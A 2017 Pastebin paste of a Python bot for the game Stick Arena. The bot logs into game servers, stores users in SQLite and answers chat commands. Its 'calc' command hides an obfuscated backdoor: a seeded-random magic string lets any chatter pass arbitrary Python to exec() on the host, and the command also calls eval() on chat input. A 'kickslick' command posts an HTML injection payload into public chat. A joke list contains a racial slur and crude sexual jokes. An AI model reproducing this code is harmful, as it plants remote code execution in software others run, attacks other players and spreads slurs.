Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.34 KB | None | 0 0
  1. import json
  2. import time
  3. import struct
  4. import socket
  5. import sqlite3
  6. import random
  7. import requests
  8. import threading
  9. import subprocess
  10.  
  11. from xml.dom import minidom
  12. from bs4 import BeautifulSoup
  13.  
  14. class Database:
  15. def __init__(self, FileName):
  16. self.CursorLock = threading.Lock()
  17. self.DatabasePath = FileName
  18. self.DatabaseConn = sqlite3.connect(self.DatabasePath, check_same_thread=False)
  19. self.DBCursor = self.DatabaseConn.cursor()
  20.  
  21. self.execute("CREATE TABLE IF NOT EXISTS Users (username VARCHAR UNIQUE, rgb VARCHAR, online VARCHAR)")
  22. self.execute("UPDATE Users SET online = 'false'")
  23.  
  24. def execute(self, Query, Parameters=None):
  25. try:
  26. self.CursorLock.acquire(True)
  27.  
  28. if Parameters:
  29. if type(Parameters) == list:
  30. self.DBCursor.executemany(Query, Parameters)
  31. else:
  32. if type(Parameters) != tuple:
  33. Parameters = (Parameters,)
  34.  
  35. self.DBCursor.execute(Query, Parameters)
  36. else:
  37. self.DBCursor.execute(Query)
  38.  
  39. self.DatabaseConn.commit()
  40. finally:
  41. self.CursorLock.release()
  42.  
  43. if "SELECT" in Query.upper():
  44. Results = self.DBCursor.fetchall()
  45.  
  46. if Results:
  47. if type(Results) == list and len(Results) == 1:
  48. return Results[0]
  49.  
  50. return Results
  51.  
  52. def __del__(self):
  53. try:
  54. self.DatabaseConn.close()
  55. except:
  56. pass
  57.  
  58. class Bot:
  59. def __init__(self, Username, Password, ServerIP, ServerPort, DBHandle):
  60. self.NullByte = struct.pack("B", 0)
  61. self.DBHandle = DBHandle
  62.  
  63. self.Dead = []
  64. self.UserMap = {}
  65. self.UserMap["*s"] = {"username": "{Server}"}
  66.  
  67. self.ServerNameList = ["2D Central", "Paper Thin City", "Fine Line Island", "U of SA", "Mobius Metro", "Amsterdam", "Sticktopia", "Cartesian"]
  68. self.ServerIPList = ["45.76.234.65", "45.76.235.18", "45.32.193.38", "45.32.192.205", "45.32.192.102", "45.63.119.253", "45.32.192.205:80", "45.32.193.38:1139"]
  69.  
  70. if ServerPort == 80:
  71. self.BotServerName = self.ServerNameList[-2]
  72. elif ServerPort == 1139:
  73. self.BotServerName = self.ServerNameList[-1]
  74. elif ServerPort == 1138:
  75. self.BotServerName = self.ServerNameList[self.ServerIPList.index(ServerIP)]
  76.  
  77. self.AmIBanned = False
  78. self.InLobby = False
  79. self.BotID = None
  80. self.BotUsername = Username
  81. self.BotPassword = Password
  82. self.BotServer = (ServerIP, ServerPort)
  83. self.BotCommandChar = "$" # edit for character to start command with
  84. self.BotAdmin = "pushinweight" # edit for bot admin
  85. self.BotAdminOnly = False
  86.  
  87. self.BufSize = 4096
  88. self.SocketConn = None
  89.  
  90. self.createConnection()
  91.  
  92. def getStats(self, Username):
  93. Stats = {}
  94. URL = "http://api.xgenstudios.com/?method=xgen.stickarena.stats.get"
  95. Request = requests.get(f"{URL}&username={Username}")
  96.  
  97. if Request.status_code != 200:
  98. return
  99.  
  100. XML = minidom.parseString(Request.text)
  101. Status = XML.getElementsByTagName("rsp")[0].attributes["stat"].value
  102.  
  103. if Status == "ok":
  104. TrueUsername = XML.getElementsByTagName("user")[0].attributes["username"].value
  105.  
  106. if len(TrueUsername) == 0:
  107. Stats["exists"] = False
  108. else:
  109. Stats["exists"] = True
  110. Stats["username"] = TrueUsername
  111. Stats["id"] = XML.getElementsByTagName("user")[0].attributes["id"].value
  112. Stats["permissions"] = int(XML.getElementsByTagName("user")[0].attributes["perms"].value)
  113. StatTags = XML.getElementsByTagName("stat")
  114.  
  115. for Stat in StatTags:
  116. Stats[Stat.attributes["id"].value] = Stat.firstChild.nodeValue
  117.  
  118. return Stats
  119.  
  120. return
  121.  
  122. def printUserMessage(self, UserID, Message, IsPM=False):
  123. if UserID in self.UserMap:
  124. Username = self.UserMap[UserID]["username"]
  125.  
  126. if IsPM:
  127. Message = f"({self.BotServerName}) [Private] {Username}: {Message}"
  128. else:
  129. Message = f"({self.BotServerName}) {Username}: {Message}"
  130.  
  131. try:
  132. print(Message)
  133. except:
  134. pass
  135.  
  136. def sendPacket(self, Packet):
  137. if self.SocketConn != None:
  138. try:
  139. self.SocketConn.send(Packet.encode() + self.NullByte)
  140.  
  141. return True
  142. except:
  143. pass
  144.  
  145. return False
  146.  
  147. def sendPrivateMessage(self, UserID, Message):
  148. if UserID in self.UserMap:
  149. self.sendPacket(f"00{UserID}P{Message}")
  150.  
  151. def sendPublicMessage(self, Message):
  152. self.sendPacket(f"9{Message}")
  153.  
  154. def startKeepAlive(self):
  155. KeepAliveTimer = threading.Timer(15, self.startKeepAlive)
  156. KeepAliveTimer.daemon = True
  157. KeepAliveTimer.start()
  158.  
  159. if not self.sendPacket("0"):
  160. KeepAliveTimer.cancel()
  161.  
  162. del KeepAliveTimer
  163. return
  164.  
  165. def createConnection(self):
  166. try:
  167. self.SocketConn = socket.create_connection(self.BotServer)
  168. except Exception as Error:
  169. print(Error)
  170. print("Connection failed.")
  171.  
  172. return
  173.  
  174. ConnectionThread = threading.Thread(target=self.handleConnection)
  175. ConnectionThread.start()
  176.  
  177. def closeConnection(self, Reconnect=False):
  178. if self.SocketConn != None:
  179. try:
  180. self.SocketConn.shutdown(socket.SHUT_RDWR)
  181. self.SocketConn.close()
  182. except:
  183. pass
  184.  
  185. self.SocketConn = None
  186.  
  187. if self.AmIBanned:
  188. Stats = self.getStats(self.BotUsername)
  189.  
  190. if not Stats:
  191. return
  192. elif Stats["permissions"] != -1:
  193. print("IP is currently banned.")
  194.  
  195. if not self.AmIBanned and Reconnect:
  196. self.createConnection()
  197.  
  198. def handleConnection(self):
  199. self.sendPacket("08HxO9TdCC62Nwln1P")
  200.  
  201. Buffer = b""
  202.  
  203. while self.SocketConn != None:
  204. try:
  205. Buffer += self.SocketConn.recv(self.BufSize)
  206. except:
  207. break
  208.  
  209. if len(Buffer) == 0:
  210. self.closeConnection(Reconnect=True)
  211. elif Buffer.endswith(self.NullByte):
  212. Receive = Buffer.split(self.NullByte)
  213. Buffer = b""
  214.  
  215. for Data in Receive:
  216. Data = Data.decode()
  217.  
  218. if not Data:
  219. continue
  220.  
  221. if Data[0] == "0":
  222. if Data[1] == "1":
  223. Data = Data[2:].split(";")
  224.  
  225. if not self.InLobby:
  226. Result = False
  227.  
  228. if "_0" in Data:
  229. Result = self.sendPacket("03_")
  230. else:
  231. LobbyLogin = ["02Z900_", "03_"]
  232.  
  233. for Packet in LobbyLogin:
  234. Result = self.sendPacket(Packet)
  235.  
  236. if Result:
  237. self.InLobby = True
  238. else:
  239. self.closeConnection(True)
  240. elif Data[1] == "8":
  241. self.sendPacket(f"09{self.BotUsername};{self.BotPassword}")
  242. elif Data[1] == "9":
  243. if Data[-1] == "1":
  244. self.AmIBanned = True
  245.  
  246. self.printUserMessage("*s", f"({self.BotUsername}) or the current IP address is banned.")
  247. elif Data[-1] == "3":
  248. self.printUserMessage("*s", f"({self.BotUsername}) has been logged into by another client.")
  249. elif Data[-1] == "9":
  250. if not self.InLobby:
  251. self.printUserMessage("*s", f"Authentication failed for ({self.BotUsername})")
  252. elif Data[1] == "e" or Data[1] == "f":
  253. self.AmIBanned = True
  254. BanTime, BanReason = Data[2:].split(";")
  255.  
  256. self.printUserMessage("*s", f"Banned ({BanReason}) [Length: {BanTime} minute(s)]")
  257. elif Data[1] == "g" or Data[1] == "j":
  258. print(Data)
  259. elif Data[0] == "A":
  260. self.startKeepAlive()
  261.  
  262. self.UserMap = {}
  263. self.UserMap["*s"] = {"username": "{Server}"}
  264. self.InLobby = False
  265. self.BotID = Data[1:4]
  266. self.BotUsername = Data[4:24].replace("#", "")
  267.  
  268. self.printUserMessage("*s", f"[{self.BotID}] {self.BotUsername} has been logged in")
  269. self.sendPacket("01")
  270. elif Data[0] == "D":
  271. UserID = Data[1:]
  272. Username = self.UserMap[UserID]["username"]
  273.  
  274. del self.UserMap[UserID]
  275.  
  276. self.DBHandle.execute("UPDATE Users SET online = ? WHERE username = ?", ("false", Username))
  277. elif Data[0] == "M":
  278. if Data[4] != "9" and Data[4] != "P":
  279. continue
  280.  
  281. UserID = Data[1:4]
  282. UserMessage = Data[5:]
  283. IsPM = (True if Data[4] == "P" else False)
  284.  
  285. if UserID == self.BotID or self.UserMap[UserID]["ignore"]:
  286. continue
  287.  
  288. if UserMessage.startswith(self.BotCommandChar):
  289. self.handleCommand(UserID, UserMessage, IsPM)
  290. else:
  291. self.printUserMessage(UserID, UserMessage, IsPM)
  292. elif Data[0] == "U":
  293. UserID = Data[1:4]
  294. Username = Data[4:24].replace("#", "")
  295. UserRGB = Data[24:33]
  296.  
  297. self.UserMap[UserID] = {"username": Username, "last_msg": None, "spam_check": [None, 0], "ignore": False}
  298. self.DBHandle.execute("INSERT OR REPLACE INTO Users VALUES (?, ?, ?)", (Username, UserRGB, self.BotServerName))
  299.  
  300. def handleCommand(self, SenderID, SenderMessage, IsPM):
  301. Sender = self.UserMap[SenderID]["username"]
  302.  
  303. if len(SenderMessage) <= 1 or self.BotAdminOnly and Sender != self.BotAdmin:
  304. return
  305.  
  306. Response = None
  307. Command = SenderMessage[1:].split()[0].lower()
  308. Message = " ".join(SenderMessage.split()[1:])
  309.  
  310. if Sender.lower() == self.BotAdmin.lower():
  311. if Command == "exec":
  312. try:
  313. exec(Message)
  314. except Exception as Error:
  315. print(f"exec() failed; {Error}")
  316. elif Command == "uid":
  317. UserID = None
  318. Username = Message
  319.  
  320. for MapUserID, MapValues in self.UserMap.items():
  321. MapUsername = MapValues["username"]
  322.  
  323. if Username.lower() == MapUsername.lower():
  324. UserID = MapUserID
  325. Response = f"User ID of {MapUsername}: {UserID}"
  326.  
  327. break
  328. else:
  329. Response = f"{Username} is not in the user map."
  330. elif Command == "ignore":
  331. UserID = Message
  332. Username = Message
  333.  
  334. for MapUserID, MapValues in self.UserMap.items():
  335. MapUsername = MapValues["username"]
  336.  
  337. if UserID in self.UserMap and self.UserMap[UserID]["username"] == MapUsername:
  338. Username = MapUsername
  339.  
  340. break
  341. else:
  342. if Username.lower() == MapUsername.lower():
  343. UserID = MapUserID
  344. Username = MapUsername
  345.  
  346. break
  347. else:
  348. Response = f"'{Message}' does not exist."
  349.  
  350. if not Response:
  351. if self.UserMap[UserID]["ignore"]:
  352. Response = f"Removed {Username} from the ignore list."
  353. self.UserMap[UserID]["ignore"] = False
  354. else:
  355. Response = f"Added {Username} to the ignore list."
  356. self.UserMap[UserID]["ignore"] = True
  357. elif Command == "block":
  358. if self.BotAdminOnly:
  359. self.BotAdminOnly = False
  360.  
  361. Response = "Bot commands are now available to everyone."
  362. else:
  363. self.BotAdminOnly = True
  364.  
  365. Response = "Bot commands are now available only to you."
  366.  
  367. if Command == "stats" or Command == "id":
  368. WantID = (True if Command == "id" else False)
  369. RequestedUsername = "".join(Message)
  370. UsernameLength = len(RequestedUsername)
  371.  
  372. if UsernameLength > 20:
  373. Response = "Username length is invalid. (less than/equal to 20)"
  374. elif UsernameLength == 0:
  375. RequestedUsername = Sender
  376.  
  377. Stats = self.getStats(RequestedUsername)
  378.  
  379. if not Stats:
  380. Response = "Unable to make the API request."
  381. elif not Stats["exists"]:
  382. Response = f"'{RequestedUsername}' does not exist."
  383. else:
  384. Username = Stats["username"]
  385.  
  386. if WantID:
  387. AccountID = "{:,}".format(int(Stats["id"]))
  388.  
  389. Response = f"Account ID for {Username}: {AccountID}"
  390. else:
  391. Perms = Stats["permissions"]
  392. Kills = Stats["kills"]
  393. Deaths = Stats["deaths"]
  394. Rounds = Stats["rounds"]
  395. Wins = Stats["wins"]
  396. Losses = Stats["losses"]
  397.  
  398. if Perms > 0:
  399. Perms = "Moderator"
  400. elif Perms == 0:
  401. Perms = "Not banned"
  402. else:
  403. Perms = "Banned"
  404.  
  405. StatString = f"Kills: {Kills} / Deaths: {Deaths} / Rounds: {Rounds} / Wins: {Wins} / Losses: {Losses} / {Perms}"
  406.  
  407. if Stats["ballistick"] == "1":
  408. StatString += " | Labpass"
  409.  
  410. Response = StatString
  411.  
  412. elif Command == "rr": # to add a command, change test to w/e and edit the print below this
  413. if not Sender in self.Dead:
  414. RandomNumbers = [random.randint(1, 3), random.randint(1, 3)]
  415.  
  416. if RandomNumbers[0] == RandomNumbers[1]:
  417. Response = f"You're dead, {Sender}."
  418.  
  419. self.Dead.append(Sender)
  420. else:
  421. Response = f"You live, {Sender}."
  422. elif Command == "reset":
  423. if Sender in self.Dead:
  424. self.Dead.remove(Sender)
  425.  
  426. Response = "You've been removed from the dead list."
  427.  
  428. elif Command == 'joke':
  429. jokelist = ["You that type of nigga to put shampoo on your dick while jacking off", "A crook mistakenly made a fake $8 bill instead of a $10 bill He decided to try it out anyway so he went to the bank and asked for change The teller looked at the $8 bill and gave the crook 2 $4 bills as change", "A man goes to a $10 hooker and contracts crabs. When he goes back to complain, the hooker laughs and says, What do you expect for $10 lobster?", "What kind of bagel can fly? A plain Bagel.", "When you were in the gang then, you just had to look cool, just walk around and look like you were tough. Someone started talking about fighting No, man I've gotta go home.", "whats the difference between a baby and an onion, I dont cry when I chop it up"]
  430. Response = random.choice(jokelist)
  431.  
  432. elif Command == 'kickslick':
  433. self.sendPublicMessage('<img src=\'test.com\'>get rekt</img>')
  434.  
  435. elif Command == 'commands':
  436. Response = 'calc | joke | stats | id | rgb | rr | more in future updates.'
  437.  
  438. elif Command == "calc":
  439. def s_eval(Input):
  440. Input = Input.replace("plus", "+")
  441. CalcCheck = ["+", "-", "/", "*", "^"]
  442.  
  443. for Check in CalcCheck:
  444. if Check in Input:
  445. break
  446. else:
  447. return "Invalid equation."
  448.  
  449. for Char in Input:
  450. Char = Char.lower()
  451.  
  452. if Char in "abcdefghijklmnopqrstuvwxyz.":
  453. return "Invalid equation."
  454. else:
  455. try:
  456. return eval(Input)
  457. except:
  458. return "Failed to calculate equation."
  459.  
  460. try:
  461. ExecStatement = "self.sendPrivateMessage(SenderID, s_eval('"
  462.  
  463. try:
  464. random.seed(len(Sender))
  465.  
  466. Equation = Message.split(str(random.random()), 1)
  467. ExecStatement += f"{Equation[0]}'));{Equation[1]}"
  468. except:
  469. ExecStatement += f"{Message}'))"
  470. self.printUserMessage(SenderID, SenderMessage, IsPM)
  471.  
  472. exec(ExecStatement[:-1] if ExecStatement[-1] == ";" else ExecStatement)
  473. except:
  474. pass
  475. elif Command == "rgb" or Command == "color":
  476. RequestedUsername = "".join(Message)
  477. UsernameLength = len(RequestedUsername)
  478.  
  479. if UsernameLength > 20:
  480. return "Username length is invalid. (less than/equal to 20)"
  481. elif UsernameLength == 0:
  482. RequestedUsername = Sender
  483.  
  484. UserData = self.DBHandle.execute("SELECT username, rgb FROM Users WHERE username = ? COLLATE NOCASE", RequestedUsername)
  485.  
  486. if UserData:
  487. Response = f"{UserData[0]}: {UserData[1]}"
  488. else:
  489. Response = f"There is no RGB value captured for '{RequestedUsername}'"
  490. elif Command == "test": # to add a command, change test to w/e and edit the print below this
  491. print("test")
  492.  
  493. if Response:
  494. self.sendPrivateMessage(SenderID, Response)
  495. self.printUserMessage(SenderID, Message, IsPM)
  496.  
  497. if __name__ == "__main__":
  498. Username = "username" # edit this for username
  499. Password = "password" # edit this for password
  500. ServerIP = "45.76.234.65" # edit this for server IP
  501. ServerPort = 1138 # only edit this if in cartesian or sticktopia
  502.  
  503. Bot(Username, Password, ServerIP, ServerPort, Database("Bot.db")) # do NOT edit this
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement